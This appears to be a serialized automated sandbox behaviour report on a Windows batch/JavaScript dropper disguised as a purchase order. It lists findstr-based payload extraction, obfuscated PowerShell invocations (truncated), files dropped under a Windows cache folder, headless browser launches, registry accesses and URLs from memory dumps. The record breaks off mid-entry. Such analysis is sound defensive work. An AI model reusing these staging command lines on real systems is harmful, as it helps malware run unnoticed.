environment variables: "EDGE_METRICS_SESSION_ID="0", COMPONENT_INSTALLER_DIR="%TEMP%\1xes2x0b.df5", EDGE_METRICS_CLIENT_ID_HASH="4407537501958357221""35:Tfbd,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00001708-00000C2E-197196726] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00001708-00000C2B-899497041] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00001708-00000C2B-899541660] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001708-00000C2B-899584808] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00001708-00000C2B-899690871] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00001708-00000C2B-899709431] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00001708-00000C2B-899731406] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001708-00000C2B-899764279] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00001708-00000C2B-899805691] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00001708-00000C2B-899831056] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001708-00000C2B-899868809] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00001708-00000C2B-899954333] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00001708-00000C2B-899999971] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00001708-00000C2B-900105023] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00001708-00000C2B-900132650] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00001708-00000C2B-900332489] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00001708-00000C2B-900445788] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00001708-00000C2B-900448095] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00001708-00000C2B-900506621] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00001708-00000C2B-900518843] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00001708-00000C2B-900610461] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00001708-00000C2B-900649294] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00001708-00000C2B-900734420] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00001708-00000C2B-900874731] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00001708-00000C2B-900888740]36:Td79,Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007724) Spawned process "findstr.exe" with commandline "findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00003920) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScript ..." (UID: 00000000-00001708) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004640) Spawned process "findstr.exe" with commandline "findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007228) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007260) Spawned process "findstr.exe" with commandline "findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00002260) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005812) Spawned process "findstr.exe" with commandline "findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007444) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00006304) Spawned process "findstr.exe" with commandline "findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004216) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005152) Spawned process "findstr.exe" with commandline "findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005096) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScript ..." (UID: 00000000-00000412) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScript ..." (UID: 00000000-00008040) Spawned process "chrome.exe" with commandline "--disable-fre --no-default-browser-check --no-first-run --no-san ..." (UID: 00000000-00007496) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\fx1ihedi.55i /pr ..." (UID: 00000000-00002684) Spawned process "chrome.exe" with commandline "--type=gpu-process --no-sandbox --user-data-dir="%TEMP%\\fx1ihed ..." (UID: 00000000-00005268), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\fx1ihedi.55i" --no-pre- ..." (UID: 00000000-00005048), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\fx1ihedi.55i" --no-pre- ..." (UID: 00000000-00007384), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\fx1ihedi.55i" --extensi ..." (UID: 00000000-00004796), Spawned process "msedge.exe" with commandline "--disable-fre --no-default-browser-check --no-first-run --no-san ..." (UID: 00000000-00007408), Spawned process "msedge.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\1xes2x0b.df5 /pr ..." (UID: 00000000-00003476), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00000872), Spawned process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\1xes2x0b.df5" --pdf-ups ..." (UID: 00000000-00004132)37:Td79,Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007724) Spawned process "findstr.exe" with commandline "findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00003920) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScript ..." (UID: 00000000-00001708) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004640) Spawned process "findstr.exe" with commandline "findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007228) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007260) Spawned process "findstr.exe" with commandline "findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00002260) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005812) Spawned process "findstr.exe" with commandline "findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007444) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00006304) Spawned process "findstr.exe" with commandline "findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004216) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005152) Spawned process "findstr.exe" with commandline "findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005096) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScript ..." (UID: 00000000-00000412) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScript ..." (UID: 00000000-00008040) Spawned process "chrome.exe" with commandline "--disable-fre --no-default-browser-check --no-first-run --no-san ..." (UID: 00000000-00007496) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\fx1ihedi.55i /pr ..." (UID: 00000000-00002684) Spawned process "chrome.exe" with commandline "--type=gpu-process --no-sandbox --user-data-dir="%TEMP%\\fx1ihed ..." (UID: 00000000-00005268), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\fx1ihedi.55i" --no-pre- ..." (UID: 00000000-00005048), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\fx1ihedi.55i" --no-pre- ..." (UID: 00000000-00007384), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\fx1ihedi.55i" --extensi ..." (UID: 00000000-00004796), Spawned process "msedge.exe" with commandline "--disable-fre --no-default-browser-check --no-first-run --no-san ..." (UID: 00000000-00007408), Spawned process "msedge.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\1xes2x0b.df5 /pr ..." (UID: 00000000-00003476), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00000872), Spawned process "msedge.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\1xes2x0b.df5" --pdf-ups ..." (UID: 00000000-00004132)38:T42f,"imm_compose_XMRVLCRBh.cmd" has type "DOS batch file ASCII text with very long lines (2686) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\imm_compose\imm_compose_XMRVLCRBh.cmd]- [targetUID: 00000000-00008040] "imm_compose.cfg" has type "ASCII text with very long lines (6016) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\imm_compose\imm_compose.cfg]- [targetUID: 00000000-00008040] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00000412] "imm_compose.cfg%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "imm_compose_OQPMGLCI.cmd" has type "ASCII text with very long lines (6016) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\imm_compose\imm_compose_OQPMGLCI.cmd]- [targetUID: 00000000-00008040] "imm_compose_OQPMGLCI.cmd%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]39:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")3a:T6ac,"cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 5420) "cmd.exe" queries basic process information of the "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (UID: 5420) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 7724) "findstr.exe" queries basic process information of the "C:\Windows\System32\findstr.exe" (UID: 3920) "powershell.exe" queries basic process information of the "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (UID: 1708) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 4640) "findstr.exe" queries basic process information of the "C:\Windows\System32\findstr.exe" (UID: 2260) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 5812) "findstr.exe" queries basic process information of the "C:\Windows\System32\findstr.exe" (UID: 7444) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 6304) "findstr.exe" queries basic process information of the "C:\Windows\System32\findstr.exe" (UID: 4216) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 5152) "findstr.exe" queries basic process information of the "C:\Windows\System32\findstr.exe" (UID: 5096) "powershell.exe" queries basic process information of the "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (UID: 412) "powershell.exe" queries basic process information of the "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (UID: 8040) "powershell.exe" queries basic process information of the "C:\Windows\System32\choice.exe" (UID: 8040)3b:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")3c:Ta81,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.DLL"3d:Tc63,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PACKAGEMANAGEMENT.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PACKAGEMANAGEMENT.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PACKAGEMANAGEMENT.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PACKAGEMANAGEMENT.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Pester\PESTER.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Pester\PESTER.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Pester\PESTER.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Pester\PESTER.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\POWERSHELLGET.PSD1"3e:T661,"powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_a54vlmsi.myt.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_a1v3dsxq.rvj.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%temp%\__psscriptpolicytest_a54vlmsi.myt.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_a1v3dsxq.rvj.psm1" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_4jlz0bo2.lan.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_fidxucdf.l5v.psm1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_4jlz0bo2.lan.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_fidxucdf.l5v.psm1" "powershell.exe" writes file "\device\namedpipe\srvsvc" "powershell.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\ko3yymrspcnwagyxecbg.temp" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_vefi2iku.l2t.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_g3vm5h1w.0iw.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\caches\imm_compose\imm_compose.cfg" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\caches\imm_compose\imm_compose.cfg:zone.identifier"3f:Td9af,Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00000412.00000000.122181.26DA0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00000412.00000000.122181.26DA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc0y8)pr=)0w:)px:)p79)p79)p^9)p79)p79)p79)pk8)ps9)p79)p79)p79)p79)" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;6n5" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL 